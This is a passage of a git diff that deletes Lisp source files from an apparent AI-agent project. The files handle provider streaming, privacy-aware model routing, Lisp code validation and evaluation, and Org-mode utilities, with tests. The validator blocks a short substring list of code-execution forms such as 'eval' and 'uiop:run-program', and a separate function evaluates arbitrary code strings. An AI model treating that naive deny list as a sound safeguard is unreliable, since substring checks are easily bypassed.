,(format nil "~a" c)))))) - -(provider-register-all) -(provider-cascade-initialize) - -(defskill :passepartout-neuro-provider - :priority 50 - :trigger (lambda (ctx) (declare (ignore ctx)) nil)) - -(defun cascade-stream (prompt system-prompt callback) - "Streaming cascade: calls provider-openai-stream on the first available backend. -Calls CALLBACK with each delta string, then with '' to signal end-of-stream." - (dolist (backend *provider-cascade*) - (when (gethash backend *probabilistic-backends*) - (let ((result (provider-openai-stream prompt system-prompt callback - :provider backend))) - (when (eq (getf result :status) :success) - (return cascade-stream)))))) - -(in-package :passepartout) - -(defun parse-sse-line (line) - "Parse an SSE line. Returns data string, :done for [DONE], nil otherwise." - (cond - ((or (null line) (string= line "")) nil) - ((char= (char line 0) #\:) nil) - ((and (>= (length line) 6) (string-equal (subseq line 0 6) "data: ")) - (let ((content (subseq line 6))) - (if (string= content "[DONE]") - :done - content))) - (t nil))) - -(defvar *stream-cancel* nil - "When T, the streaming SSE loop exits early.") - -(defun provider-openai-stream (prompt system-prompt callback &key model (provider :openrouter) tools) - "Streaming OpenAI-compatible request. Calls CALLBACK with each delta, then ''." - (let* ((config (provider-config provider)) - (base-url (getf config :base-url)) - (key-env (getf config :key-env)) - (url-env (getf config :url-env)) - (default-model (getf config :default-model)) - (api-key (when key-env (uiop:getenv key-env))) - (model-id (or model default-model)) - (url (if url-env - (let ((host (uiop:getenv url-env))) - (if host - (format nil "http://~a/v1/chat/completions" host) - (format nil "~a/chat/completions" base-url))) - (format nil "~a/chat/completions" base-url))) - (timeout (or (ignore-errors (parse-integer (uiop:getenv "LLM_REQUEST_TIMEOUT"))) 30)) - (req-headers (list (cons "Content-Type" "application/json"))) - (base `((model . ,model-id) - (messages . (( (role . "system") (content . ,system-prompt) ) - ( (role . "user") (content . ,prompt) ))) - (stream . t)))) - (when api-key - (push (cons "Authorization" (format nil "Bearer ~a" api-key)) req-headers)) - (when (eq provider :openrouter) - (setf req-headers - (append req-headers - `(("HTTP-Referer" . "https://github.com/amrgharbeia/passepartout") - ("X-Title" . "Passepartout"))))) - (let ((body (if tools - (append base - `((tools . ,(loop for tool in tools - collect (list (cons :|type| "function") - (cons :|function| - (loop for (k v) on tool by #'cddr - collect (cons (intern (string-upcase (string k)) "KEYWORD") v)))))) - (:|tool_choice| . "auto"))) - base))) - (handler-case - (let* ((body-json (cl-json:encode-json-to-string body)) - (stall-seconds 30) - (s (dex:post url :headers req-headers :content body-json - :connect-timeout (min 5 timeout) - :read-timeout stall-seconds - :want-stream t))) - ;; v0.7.1: track stall timer — reset on each successful chunk - (let ((last-chunk-time (get-universal-time))) - (loop for raw = (handler-case (read-line s nil nil) - (error (c) - (declare (ignore c)) - nil)) - while raw - do (when *stream-cancel* ; v0.7.1: cancel check - (setf *stream-cancel* nil) - (funcall callback " [cancelled]") - (return)) - (let ((parsed (parse-sse-line raw))) - (cond - ((null parsed)) - ((eq parsed :done) (return)) - (t (handler-case - (let* ((json (cl-json:decode-json-from-string parsed)) - (choices (cdr (assoc :choices json))) - (choice (car choices)) - (delta (cdr (assoc :delta choice))) - (content (cdr (assoc :content delta)))) - (when content - (funcall callback content) - (setf last-chunk-time (get-universal-time)))) - (error ()))))) - (when (> (- (get-universal-time) last-chunk-time) stall-seconds) - (funcall callback "[Response stalled — timed out at 30s]") - (return)))) - (funcall callback "") - (close s) - (list :status :success)) - (error (c) - (list :status :error :message (format nil "~a Stream Failure: ~a" provider c))))))) diff --git a/lisp/neuro-router.lisp b/lisp/neuro-router.lisp deleted file mode 100644 index 06b031a..0000000 --- a/lisp/neuro-router.lisp +++ /dev/null @@ -1,90 +0,0 @@ -(in-package :passepartout) - -(defvar *model-cascade-code* nil - "Cascade for :code tasks: ((:ollama . \"model\") ...)") - -(defvar *model-cascade-plan* nil - "Cascade for :plan tasks.") - -(defvar *model-cascade-chat* nil - "Cascade for :chat tasks.") - -(defvar *model-cascade-background* nil - "Cascade for background tasks (heartbeat, delegation).") - -(defvar *local-backends* '(:ollama :llama-cpp) - "Backend keywords considered local (privacy-safe).") - -(defun model-classify-complexity (text) - "Classify TEXT into :code, :plan, or :chat." - (let ((lower (string-downcase text))) - (cond - ((or (search "defun" lower) (search "defmacro" lower) - (search "write" lower) (search "refactor" lower) - (search "fix " lower) (search "implement" lower) - (search "code" lower) - (search "#+begin_src" lower)) - :code) - ((or (search "plan" lower) (search "roadmap" lower) - (search "strategy" lower) (search "design" lower) - (search "architecture" lower)) - :plan) - (t :chat)))) - -(defun model-cascade-find (cascade backend) - "Find first (PROVIDER . MODEL) in CASCADE matching BACKEND." - (assoc backend cascade - :test (lambda (a b) (string-equal (string a) (string b))))) - -(defun model-select (backend context) - "Select model for BACKEND given CONTEXT signal. -Returns model name or :skip." - (let* ((payload (getf context :payload)) - (text (or (getf payload :text) "")) - (sensor (getf payload :sensor)) - (has-personal (and (boundp '*dispatcher-privacy-tags*) - (some (lambda (tag) (search tag text)) - (symbol-value '*dispatcher-privacy-tags*)))) - (is-local (member backend *local-backends*))) - ;; Privacy: skip cloud backends for personal content - (when (and has-personal (not is-local)) - (log-message "MODEL-ROUTER: Skipping ~a (personal content)" backend) - (return-from model-select :skip)) - ;; Quadrant: background tasks use background cascade - (if (member sensor '(:heartbeat :delegation :tool-output :loop-error)) - (let ((entry (car (or *model-cascade-background* - '((:ollama . "phi-2")))))) - (cdr entry)) - ;; Foreground: classify complexity, use slot cascade - (let* ((slot (model-classify-complexity text)) - (cascade (case slot - (:code *model-cascade-code*) - (:plan *model-cascade-plan*) - (t *model-cascade-chat*))) - (entry (model-cascade-find - (or cascade '((:ollama . "qwen2.5:14b"))) backend))) - (if entry (cdr entry) nil))))) - -(defun model-router-init () - "Read env vars and wire model-select into *model-selector*." - (flet ((parse-cascade (str) - (when (and str (> (length str) 0)) - (let ((*read-eval* nil)) - (read-from-string str))))) - (setf *model-cascade-code* (parse-cascade (uiop:getenv "MODEL_CASCADE_CODE")) - *model-cascade-plan* (parse-cascade (uiop:getenv "MODEL_CASCADE_PLAN")) - *model-cascade-chat* (parse-cascade (uiop:getenv "MODEL_CASCADE_CHAT")) - *model-cascade-background* (parse-cascade (uiop:getenv "MODEL_CASCADE_BACKGROUND")) - *local-backends* (let ((env (uiop:getenv "LOCAL_BACKENDS"))) - (if env - (mapcar (lambda (s) (intern (string-upcase (string-trim '(#\Space #\" #\') s)) :keyword)) - (uiop:split-string env :separator '(#\,))) - '(:ollama :llama-cpp))))) - (setf *model-selector* #'model-select) - (log-message "MODEL-ROUTER: Initialized, selector=~a" *model-selector*)) - -(defskill :passepartout-model-router - :priority 250 - :trigger (lambda (ctx) (declare (ignore ctx)) nil)) - -(model-router-init) diff --git a/lisp/programming-lisp.lisp b/lisp/programming-lisp.lisp deleted file mode 100644 index 70edfca..0000000 --- a/lisp/programming-lisp.lisp +++ /dev/null @@ -1,246 +0,0 @@ -(in-package :passepartout) - -(defun lisp-structural-check (code) - "Checks if parentheses are balanced and the code is readable." - (handler-case - (let ((*read-eval* nil)) - (with-input-from-string (s code) - (loop for form = (read s nil :eof) until (eq form :eof))) - (values t nil)) - (error (c) - (values nil (format nil "Reader Error: ~a" c))))) - -(defun lisp-syntactic-check (code) - "Checks for valid Lisp syntax beyond just balanced parentheses." - (lisp-structural-check code)) - -(defun lisp-semantic-check (code) - "Checks for potentially unsafe forms." - (let ((unsafe-tokens '("eval" "load" "uiop:run-program" "sb-ext:run-program" "cl-user::eval"))) - (loop for token in unsafe-tokens - when (search token (string-downcase code)) - do (return-from lisp-semantic-check (values nil (format nil "Unsafe form detected: ~a" token)))) - (values t nil))) - -(defun lisp-validate (code &key (strict t)) - "Unified validation gate for Lisp code." - (multiple-value-bind (struct-ok struct-err) (lisp-structural-check code) - (unless struct-ok - (return-from lisp-validate (list :status :error :reason struct-err))) - (when strict - (multiple-value-bind (sem-ok sem-err) (lisp-semantic-check code) - (unless sem-ok - (return-from lisp-validate (list :status :error :reason sem-err))))) - (list :status :success))) - -(defun lisp-eval (code-string &key (package :passepartout)) - "Evaluates a Lisp string and captures its output/results." - (let ((out (make-string-output-stream)) - (err (make-string-output-stream))) - (handler-case - (let* ((*standard-output* out) - (*error-output* err) - (*package* (or (find-package package) (find-package :passepartout))) - (result (with-input-from-string (s code-string) - (let ((last-val nil)) - (loop for form = (read s nil :eof) until (eq form :eof) - do (setf last-val (eval form))) - last-val)))) - (list :status :success - :result (format nil "~a" result) - :output (get-output-stream-string out) - :error (get-output-stream-string err))) - (error (c) - (list :status :error - :reason (format nil "~a" c) - :output (get-output-stream-string out) - :error (get-output-stream-string err)))))) - -(defun lisp-format (code-string) - "Attempts to format Lisp code using Emacs batch mode if available." - (handler-case - (let ((tmp-file "/tmp/oc-format-temp.lisp")) - (uiop:with-output-file (s tmp-file :if-exists :supersede) - (format s "~a" code-string)) - (multiple-value-bind (out err code) - (uiop:run-program (list "emacs" "--batch" tmp-file - "--eval" "(indent-region (point-min) (point-max))" - "--eval" "(princ (buffer-string))") - :output :string :error-output :string :ignore-error-status t) - (if (= code 0) - out - (progn - (log-message "FORMAT ERROR: ~a" err) - code-string)))) - (error (c) - (log-message "FORMAT EXCEPTION: ~a" c) - code-string))) - -(defun lisp-extract (code function-name) - "Extracts the definition of a specific function from a code string." - (let ((*read-eval* nil)) - (with-input-from-string (s code) - (loop for form = (read s nil :eof) until (eq form :eof) - when (and (listp form) - (symbolp (car form)) - (member (symbol-name (car form)) '("DEFUN" "DEFMACRO" "DEFMETHOD") :test #'string-equal) - (symbolp (second form)) - (string-equal (symbol-name (second form)) function-name)) - do (return-from lisp-extract (format nil "~s" form)))) - nil)) - -(defun lisp-wrap (code target-name wrapper-symbol) - "Wraps a specific form in a wrapper form (e.g., wrap in a let)." - (let ((*read-eval* nil) (results nil)) - (with-input-from-string (s code) - (loop for form = (read s nil :eof) until (eq form :eof) - do (if (and (listp form) - (symbolp (second form)) - (string-equal (symbol-name (second form)) target-name)) - (push (list wrapper-symbol form) results) - (push form results)))) - (format nil "~{~s~^~%~%~}" (nreverse results)))) - -(defun lisp-list-definitions (code) - "Returns a list of names for all top-level definitions (defun, defmacro, etc.)." - (let ((*read-eval* nil) (names nil)) - (with-input-from-string (s code) - (loop for form = (read s nil :eof) until (eq form :eof) - when (and (listp form) - (symbolp (car form)) - (member (symbol-name (car form)) - '("DEFUN" "DEFMACRO" "DEFMETHOD" "DEFVAR" "DEFPARAMETER") - :test #'string-equal) - (symbolp (second form))) - do (push (second form) names))) - (nreverse names))) - -(defun lisp-inject (code target-name new-form-string) - "Injects a new form into the body of a targeted definition." - (let ((*read-eval* nil) - (new-form (read-from-string new-form-string)) - (results nil)) - (with-input-from-string (s code) - (loop for form = (read s nil :eof) until (eq form :eof) - do (if (and (listp form) - (symbolp (car form)) - (member (symbol-name (car form)) '("DEFUN" "DEFMACRO" "DEFMETHOD") :test #'string-equal) - (symbolp (second form)) - (string-equal (symbol-name (second form)) target-name)) - (push (append form (list new-form)) results) - (push form results)))) - (format nil "~{~s~^~%~%~}" (nreverse results)))) - -(defun lisp-slurp (code target-name form-to-slurp-string) - "Adds a form to the end of a named list or definition (Paredit slurp)." - (let ((*read-eval* nil) - (to-slurp (read-from-string form-to-slurp-string)) - (results nil)) - (with-input-from-string (s code) - (loop for form = (read s nil :eof) until (eq form :eof) - do (if (and (listp form) - (symbolp (second form)) - (string-equal (symbol-name (second form)) target-name)) - (push (append form (list to-slurp)) results) - (push form results)))) - (format nil "~{~s~^~%~%~}" (nreverse results)))) - -(defskill :passepartout-programming-lisp - :priority 400 - :trigger (lambda (ctx) (declare (ignore ctx)) nil)) - -(defun plist-keywords-normalize (plist) - (when (listp plist) - (loop for (k v) on plist by #'cddr - collect (if (and (symbolp k) (not (keywordp k))) - (intern (string k) :keyword) - k) - collect v))) - -(defpackage :passepartout-utils-lisp-tests - (:use :cl :fiveam :passepartout) - (:export #:utils-lisp-suite)) - -(in-package :passepartout-utils-lisp-tests) - -(def-suite utils-lisp-suite - :description "Tests for the Lisp Validator structural, syntactic, and semantic gates") - -(in-suite utils-lisp-suite) - -(test structural-balanced - "Contract 1: balanced code returns T." - (is (eq t (passepartout:lisp-structural-check "(+ 1 2)")))) - -(test structural-unbalanced-open - "Contract 1: missing close paren returns nil + error." - (multiple-value-bind (ok reason) (passepartout:lisp-structural-check "(+ 1 2") - (is (null ok)) - (is (search "Reader Error" reason)))) - -(test structural-unbalanced-close - "Contract 1: extra close paren returns nil + error." - (multiple-value-bind (ok reason) (passepartout:lisp-structural-check "+ 1 2)") - (is (null ok)) - (is (search "Reader Error" reason)))) - -(test syntactic-valid - "Contract 2: valid syntax passes syntactic check." - (is (eq t (passepartout:lisp-syntactic-check "(+ 1 2)")))) - -(test semantic-safe - "Contract 3: safe code passes semantic check." - (is (eq t (passepartout:lisp-semantic-check "(+ 1 2)")))) - -(test semantic-blocked-eval - "Contract 3: eval forms are blocked by semantic check." - (multiple-value-bind (ok reason) (passepartout:lisp-semantic-check "(eval '(+ 1 2))") - (is (null ok)) - (is (search "Unsafe" reason)))) - -(test unified-success - "Contract 4: valid code returns :success via lisp-validate." - (let ((result (passepartout:lisp-validate "(+ 1 2)" :strict t))) - (is (eq (getf result :status) :success)))) - -(test unified-failure - "Contract 4: invalid code returns :error via lisp-validate." - (let ((result (passepartout:lisp-validate "(+ 1 2" :strict nil))) - (is (eq (getf result :status) :error)))) - -(test eval-basic - "Contract 5: lisp-eval returns :success with captured result." - (let ((result (passepartout:lisp-eval "(+ 1 2)"))) - (is (eq (getf result :status) :success)) - (is (string= (getf result :result) "3")))) - -(test structural-extract - "Contract 6: lisp-extract finds and returns a named function." - (let* ((code "(defun hello () (print \"hi\")) (defun bye () (print \"bye\"))") - (extracted (passepartout:lisp-extract code "hello"))) - (is (not (null extracted))) - (let ((form (read-from-string extracted))) - (is (eq (car form) 'DEFUN)) - (is (eq (second form) 'HELLO))))) - -(test list-definitions - "Contract 7: lisp-list-definitions returns all defined names." - (let ((code "(defun foo () t) (defmacro bar () nil) (defparameter *baz* 10)")) - (let ((names (passepartout:lisp-list-definitions code))) - (is (member 'FOO names)) - (is (member 'BAR names)) - (is (member '*BAZ* names))))) - -(test structural-inject - "Contract 8: lisp-inject adds a form to a function body." - (let* ((code "(defun my-fun (x) (print x))") - (injected (passepartout:lisp-inject code "my-fun" "(finish-output)"))) - (let ((form (read-from-string injected))) - (is (equal (last form) '((FINISH-OUTPUT))))))) - -(test structural-slurp - "Contract 9: lisp-slurp appends a form to a function body." - (let* ((code "(defun work () (step-1))") - (slurped (passepartout:lisp-slurp code "work" "(step-2)"))) - (let ((form (read-from-string slurped))) - (is (equal (last form) '((STEP-2))))))) diff --git a/lisp/programming-literate.lisp b/lisp/programming-literate.lisp deleted file mode 100644 index 27ffbf9..0000000 --- a/lisp/programming-literate.lisp +++ /dev/null @@ -1,103 +0,0 @@ -(in-package :passepartout) - -(defun literate-extract-lisp-blocks (content) - "Extracts all #+begin_src lisp ... #+end_src blocks from Org CONTENT. -Returns a list of block strings." - (let ((lines (uiop:split-string content :separator '(#\Newline))) - (blocks nil) - (in-block nil) - (current-block nil)) - (dolist (line lines) - (let ((trimmed (string-trim '(#\Space) line))) - (cond - ((uiop:string-prefix-p "#+begin_src lisp" trimmed) - (setf in-block t current-block nil)) - ((uiop:string-prefix-p "#+end_src" trimmed) - (when in-block - (push (format nil "~{~a~^~%~}" (nreverse current-block)) blocks) - (setf in-block nil current-block nil))) - (in-block - (push line current-block))))) - (nreverse blocks))) - -(defun literate-block-balance-check (org-file) - "Verifies that all Lisp source blocks in an Org file have balanced parentheses. -Returns T if all blocks pass validation, or an error string listing failures." - (when (not (uiop:file-exists-p org-file)) - (return-from literate-block-balance-check - (format nil "Org file not found: ~a" org-file))) - (let* ((content (uiop:read-file-string org-file)) - (blocks (literate-extract-lisp-blocks content)) - (failures nil)) - (if (null blocks) - t - (progn - (loop for i from 0 - for block in blocks - for (ok reason) = (multiple-value-list - (lisp-structural-check block)) - unless ok - do (push (format nil "Block ~d: ~a" (1+ i) reason) failures)) - (if failures - (format nil "Unbalanced blocks in ~a:~%~{~a~^~%~}" org-file failures) - t))))) - -(defun literate-tangle-sync-check (org-file lisp-file) - "Verifies that the .lisp file matches the tangled output of the .org file. -Compares the concatenation of all lisp blocks from the Org file against the -contents of the Lisp file. Returns T if they match, or an error message." - (when (not (uiop:file-exists-p org-file)) - (return-from literate-tangle-sync-check - (format nil "Org file not found: ~a" org-file))) - (when (not (uiop:file-exists-p lisp-file)) - (return-from literate-tangle-sync-check - (format nil "Lisp file not found: ~a" lisp-file))) - (let* ((org-content (uiop:read-file-string org-file)) - (org-blocks (literate-extract-lisp-blocks org-content)) - (tangled (format nil "~{~a~^~%~%~}" org-blocks)) - (lisp-content (uiop:read-file-string lisp-file))) - (if (string= (string-trim '(#\Space #\Newline) tangled) - (string-trim '(#\Space #\Newline) lisp-content)) - t - (format nil "Tangle sync mismatch: ~a does not match ~a" org-file lisp-file)))) - -(defskill :passepartout-programming-literate - :priority 300 - :trigger (lambda (ctx) (declare (ignore ctx)) nil)) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ql:quickload :fiveam :silent t)) - -(defpackage :passepartout-programming-literate-tests - (:use :cl :fiveam :passepartout) - (:export #:literate-suite)) - -(in-package :passepartout-programming-literate-tests) - -(def-suite literate-suite :description "Verification of the Literate Programming skill") -(in-suite literate-suite) - -(test test-extract-lisp-blocks - "Contract 1: extracts lisp from #+begin_src blocks." - (let* ((org-content (format nil "#+begin_src lisp~%(+ 1 2)~%#+end_src~%#+begin_src lisp~%(+ 3 4)~%#+end_src")) - (extracted (literate-extract-lisp-blocks org-content))) - (let ((joined (format nil "~{~a~^~%~}" extracted))) - (is (search "(+ 1 2)" joined)) - (is (search "(+ 3 4)" joined))))) - -(test test-block-balance-check-valid - "Contract 2: balanced parens return T." - (is (eq t (literate-block-balance-check - (merge-pathnames "org/core-pipeline.org" - (uiop:ensure-directory-pathname - (uiop:getenv "PASSEPARTOUT_DATA_DIR"))))))) - -(test test-block-balance-check-missing-close - "Contract 2: unbalanced parens return non-T." - (is (not (eq t (literate-block-balance-check "org/nonexistent-file-xyz.org"))))) - -(test test-tangle-sync-check - "Contract 3: literate-tangle-sync-check verifies org matches tangled lisp." - (let ((result (literate-tangle-sync-check "org/core-pipeline.org" "lisp/core-pipeline.lisp"))) - (is (or (eq t result) (stringp result)) - "Should return T or a mismatch description"))) diff --git a/lisp/programming-org.lisp b/lisp/programming-org.lisp deleted file mode 100644 index 3d8b5ab..0000000 --- a/lisp/programming-org.lisp +++ /dev/null @@ -1,357 +0,0 @@ -(in-package :passepartout) - -(defun org-filetags-extract (content) - "Extracts the list of tags from a #+FILETAGS: line." - (let ((lines (uiop:split-string content :separator '(#\Newline)))) - (dolist (line lines) - (when (uiop:string-prefix-p "#+FILETAGS:" (string-trim '(#\Space) line)) - (let ((tag-str (string-trim " :" (subseq (string-trim '(#\Space) line) 10)))) - (return-from org-filetags-extract - (mapcar (lambda (tag) (format nil ":~a" (string-trim '(#\Space) tag))) - (uiop:split-string tag-str :separator '(#\space #\tab)))))))) - nil) - -(defun org-privacy-tag-p (tags-list) - "Returns T if any tag in TAGS-LIST matches the Dispatcher's privacy tags." - (let ((privacy-tags (symbol-value (find-symbol "*DISPATCHER-PRIVACY-TAGS*" :passepartout)))) - (when (and tags-list privacy-tags) - (some (lambda (tag) - (some (lambda (private-tag) - (string-equal (string-trim '(#\: #\space) tag) - (string-trim '(#\: #\space) private-tag))) - privacy-tags)) - tags-list)))) - -(defun org-privacy-strip (content) - "Removes Org headlines whose :TAGS: property contains a privacy-filtered tag. -Returns the filtered content as a string." - (let* ((lines (uiop:split-string content :separator '(#\Newline))) - (result-lines nil) - (skip-depth nil) - (current-tags nil) - (in-properties nil)) - (dolist (line lines) - (cond - (skip-depth - ;; We're inside a skipped subtree - (when (and (uiop:string-prefix-p "*" (string-trim '(#\Space) line)) - (<= (length (string-trim '(#\Space) line)) skip-depth)) - (setf skip-depth nil))) - ((uiop:string-prefix-p ":PROPERTIES:" (string-trim '(#\Space) line)) - (setf in-properties t) - (push line result-lines)) - ((uiop:string-prefix-p ":END:" (string-trim '(#\Space) line)) - (setf in-properties nil) - (when current-tags - (when (org-privacy-tag-p (reverse current-tags)) - (setf skip-depth - (length (car (last result-lines - (1+ (position-if - (lambda (l) - (uiop:string-prefix-p "*" (string-trim '(#\Space) l))) - (reverse result-lines)))))))) - (setf current-tags nil)) - (push line result-lines)) - ((and in-properties (uiop:string-prefix-p ":TAGS:" (string-trim '(#\Space) line))) - (let ((tag-val (string-trim '(#\Space) (subseq (string-trim '(#\Space) line) 6)))) - (setf current-tags (uiop:split-string tag-val :separator '(#\space #\tab)))) - (push line result-lines)) - (t - (push line result-lines)))) - (format nil "~{~a~%~}" (nreverse result-lines)))) - -(defun org-read-file (filepath) - "Reads an Org file into a string, applying privacy filtering." - (let* ((raw (uiop:read-file-string filepath)) - (filetags (org-filetags-extract raw))) - (if (org-privacy-tag-p filetags) - (progn - (log-message "UTILS-ORG: Blocked read of ~a — file-level privacy tag(s) ~a" filepath filetags) - nil) - (org-privacy-strip raw)))) - -(defun org-write-file (filepath content) - "Writes content to an Org file." - (uiop:with-output-file (s filepath :if-exists :supersede) - (format s "~a" content))) - -(defun org-id-generate () - "Generates a new UUID for an Org node." - (string-downcase (format nil "~a" (uuid:make-v4-uuid)))) - -(defun org-id-format (id) - "Ensures the ID has the 'id:' prefix." - (if (uiop:string-prefix-p "id:" id) - id - (format nil "id:~a" id))) - -(defun org-property-set (ast target-id property value) - "Recursively sets a property on a headline with a matching ID in the AST." - (let ((type (getf ast :type)) - (props (getf ast :properties)) - (contents (getf ast :contents))) - (when (and (eq type :HEADLINE) (string= (getf props :ID) target-id)) - (setf (getf (getf ast :properties) property) value) - (return-from org-property-set t)) - (dolist (child contents) - (when (listp child) - (when (org-property-set child target-id property value) - (return-from org-property-set t))))) - nil) - -(defun org-todo-set (ast target-id status) - "Sets the TODO status of a headline in the AST." - (org-property-set ast target-id :TODO status)) - -(defun org-headline-add (ast parent-id title) - "Adds a new headline as a child of the parent-id in the AST." - (let* ((type (getf ast :type)) - (props (getf ast :properties)) - (id (getf props :ID)) - (contents (getf ast :contents))) - (when (and (eq type :HEADLINE) (string= id parent-id)) - (let ((new-node (list :type :HEADLINE - :properties (list :ID (org-id-format (org-id-generate)) - :TITLE title) - :contents nil))) - (setf (getf ast :contents) (append contents (list new-node))) - (return-from org-headline-add t))) - (dolist (child contents) - (when (listp child) - (when (org-headline-add child parent-id title) - (return-from org-headline-add t))))) - nil) - -(defun org-headline-find-by-id (ast id) - "Finds a headline by its ID in the AST." - (let ((props (getf ast :properties))) - (when (string= (getf props :ID) id) - (return-from org-headline-find-by-id ast)) - (dolist (child (getf ast :contents)) - (when (listp child) - (let ((found (org-headline-find-by-id child id))) - (when found (return-from org-headline-find-by-id found))))) - nil)) - -(defun org-headline-find-by-title (ast title) - "Finds a headline by its title in the AST." - (let ((props (getf ast :properties))) - (when (string-equal (getf props :TITLE) title) - (return-from org-headline-find-by-title ast)) - (dolist (child (getf ast :contents)) - (when (listp child) - (let ((found (org-headline-find-by-title child title))) - (when found (return-from org-headline-find-by-title found))))) - nil)) - -(defun org-id-get-create (ast target-id) - "If the headline at TARGET-ID has an :ID property, return it. -If not, generate a new UUID, set it as the :ID property, and return it. -TARGET-ID can be a headline's :ID or :TITLE in the AST. -Returns nil if the headline is not found." - (let ((headline (or (org-headline-find-by-id ast target-id) - (org-headline-find-by-title ast target-id)))) - (when headline - (let* ((props (getf headline :properties)) - (id (getf props :ID))) - (if id - id - (let ((new-id (org-id-format (org-id-generate)))) - (setf (getf props :ID) new-id) - new-id)))))) - -(defun org-subtree-extract (org-content heading-name) - "Extracts a subtree by heading name from Org text. Returns the subtree -content as a string (headline + body + children), or nil if not found." - (let* ((lines (uiop:split-string org-content :separator '(#\Newline))) - (target-depth nil) - (in-target nil) - (result nil)) - (loop for line in lines - for trimmed = (string-trim '(#\Space) line) - do (let ((depth (when (uiop:string-prefix-p "*" trimmed) - (length (subseq trimmed 0 - (position-if (lambda (c) (not (char= c #\*))) - trimmed))))) - (headline-title (when (uiop:string-prefix-p "*" trimmed) - (string-trim '(#\* #\Space) trimmed)))) - (when depth - (when (string-equal headline-title heading-name) - (setf target-depth depth in-target t)) - (when (and in-target target-depth - (<= depth target-depth) - (not (string-equal headline-title heading-name))) - (return-from org-subtree-extract - (format nil "~{~a~^~%~}" (nreverse result))))) - (when in-target (push line result)))) - (when result - (format nil "~{~a~^~%~}" (nreverse result))))) - -(defun org-heading-list (org-content) - "Returns a list of all top-level heading names in Org text." - (let* ((lines (uiop:split-string org-content :separator '(#\Newline))) - (headings nil)) - (dolist (line lines) - (let ((trimmed (string-trim '(#\Space) line))) - (when (uiop:string-prefix-p "* " trimmed) - (let ((title (string-trim '(#\* #\Space) trimmed))) - (unless (find title headings :test #'string-equal) - (push title headings)))))) - (nreverse headings))) - -(defun org-modify (filepath old-text new-text) - "Replaces all occurrences of OLD-TEXT with NEW-TEXT in filepath. -Returns T if OLD-TEXT was found and replaced, nil if not found." - (when (not (uiop:file-exists-p filepath)) - (log-message "UTILS-ORG: org-modify: file not found: ~a" filepath) - (return-from org-modify nil)) - (let* ((content (uiop:read-file-string filepath)) - (pos (search old-text content :test #'string=))) - (unless pos - (log-message "UTILS-ORG: org-modify: text not found in ~a" filepath) - (return-from org-modify nil)) - (let ((modified (cl-ppcre:regex-replace-all - (cl-ppcre:quote-meta-chars old-text) - content new-text))) - (org-write-file filepath modified) - (log-message "UTILS-ORG: Modified ~a (~d chars replaced)" filepath (length old-text)) - t))) - -(defun org-ast-render (ast &key (depth 1)) - "Converts a plist AST node back to Org text. -AST format: (:TYPE :HEADLINE :properties (:ID ... :TITLE ... :TAGS (...)) - :contents (child-ast ...))" - (let* ((type (getf ast :TYPE)) - (props (getf ast :properties)) - (title (or (getf props :TITLE) "Untitled")) - (tags (getf props :TAGS)) - (todo (getf props :TODO-STATE)) - (children (getf ast :contents)) - (raw-content (getf ast :raw-content)) - (stars (make-string depth :initial-element #\*)) - (output "")) - (unless (eq type :HEADLINE) - (return-from org-ast-render (or raw-content ""))) - ;; Headline - (setf output (format nil "~a~@[ ~a~] ~a" stars todo title)) - (when tags - (let ((tag-str (format nil "~{~a~^:~}" (mapcar (lambda (tag) (string-trim '(#\:) tag)) tags)))) - (setf output (concatenate 'string output (format nil " :~a::~%" tag-str)))) - (setf output (concatenate 'string output (string #\Newline)))) - (unless tags - (setf output (concatenate 'string output (string #\Newline)))) - ;; Property drawer - (setf output (concatenate 'string output ":PROPERTIES:" (string #\Newline))) - (loop for (k v) on props by #'cddr - do (unless (or (eq k :TITLE) (eq k :TAGS)) - (setf output (concatenate 'string output - (format nil ":~a: ~a~%" k v))))) - (setf output (concatenate 'string output ":END:" (string #\Newline))) - ;; Content - (when raw-content - (setf output (concatenate 'string output raw-content (string #\Newline)))) - ;; Children - (dolist (child children) - (when (listp child) - (setf output (concatenate 'string output - (org-ast-render child :depth (1+ depth)))))) - output)) - -(defskill :passepartout-programming-org - :priority 100 - :trigger (lambda (ctx) (declare (ignore ctx)) nil)) - -(eval-when (:compile-toplevel :load-toplevel :execute) - (ignore-errors (ql:quickload :fiveam :silent t))) - -(defpackage :passepartout-utils-org-tests - (:use :cl :fiveam :passepartout) - (:export #:utils-org-suite)) - -(in-package :passepartout-utils-org-tests) - -(def-suite utils-org-suite - :description "Tests for Utils Org skill.") - -(in-suite utils-org-suite) - -(test id-generation - "Contract 1: org-id-generate returns unique UUID strings." - (let ((id1 (org-id-generate)) - (id2 (org-id-generate))) - (is (plusp (length id1))) - (is (not (string= id1 id2))))) - -(test id-format - "Contract 2: org-id-format ensures 'id:' prefix." - (let ((formatted (org-id-format "abc12345"))) - (is (search "id:" formatted)))) - -(test property-setter - "Contract 3: org-property-set modifies a property on a headline." - (let ((ast (list :type :HEADLINE - :properties (list :ID "id:test123" :TITLE "Test") - :contents nil))) - (org-property-set ast "id:test123" :STATUS "ACTIVE") - (is (string= (getf (getf ast :properties) :STATUS) "ACTIVE")))) - -(test todo-setter - "Contract 4: org-todo-set changes TODO state via org-property-set." - (let ((ast (list :type :HEADLINE - :properties (list :ID "id:todo001" :TITLE "Task") - :contents nil))) - (org-todo-set ast "id:todo001" "DONE") - (is (string= (getf (getf ast :properties) :TODO) "DONE")))) - -(test test-org-headline-add - "Contract 5: org-headline-add inserts a child headline." - (let* ((ast (list :type :HEADLINE - :properties (list :ID "root" :TITLE "Root") - :contents nil))) - (is (eq t (org-headline-add ast "root" "New Child"))) - (is (= 1 (length (getf ast :contents)))) - (is (string= "New Child" (getf (getf (first (getf ast :contents)) :properties) :TITLE))))) - -(test test-org-headline-find-by-id - "Contract 6: org-headline-find-by-id finds a headline by ID." - (let* ((ast (list :type :HEADLINE - :properties (list :ID "root" :TITLE "Root") - :contents - (list (list :type :HEADLINE - :properties (list :ID "child1" :TITLE "Child")) - (list :type :HEADLINE - :properties (list :ID "child2" :TITLE "Child 2")))))) - (let ((found (org-headline-find-by-id ast "child2"))) - (is (not (null found))) - (is (string= "Child 2" (getf (getf found :properties) :TITLE)))) - (let ((missing (org-headline-find-by-id ast "nonexistent"))) - (is (null missing) "Missing ID should return nil")))) - -(test test-org-id-get-create - "Contract 7: org-id-get-create returns existing ID or creates and sets a new one." - ;; Case 1: headline already has an ID - (let* ((ast (list :type :HEADLINE - :properties (list :ID "id:existing" :TITLE "Has ID") - :contents nil))) - (is (string= "id:existing" (org-id-get-create ast "id:existing")))) - ;; Case 2: headline exists by title but has no ID — one should be created - (let* ((ast (list :type :HEADLINE - :properties (list 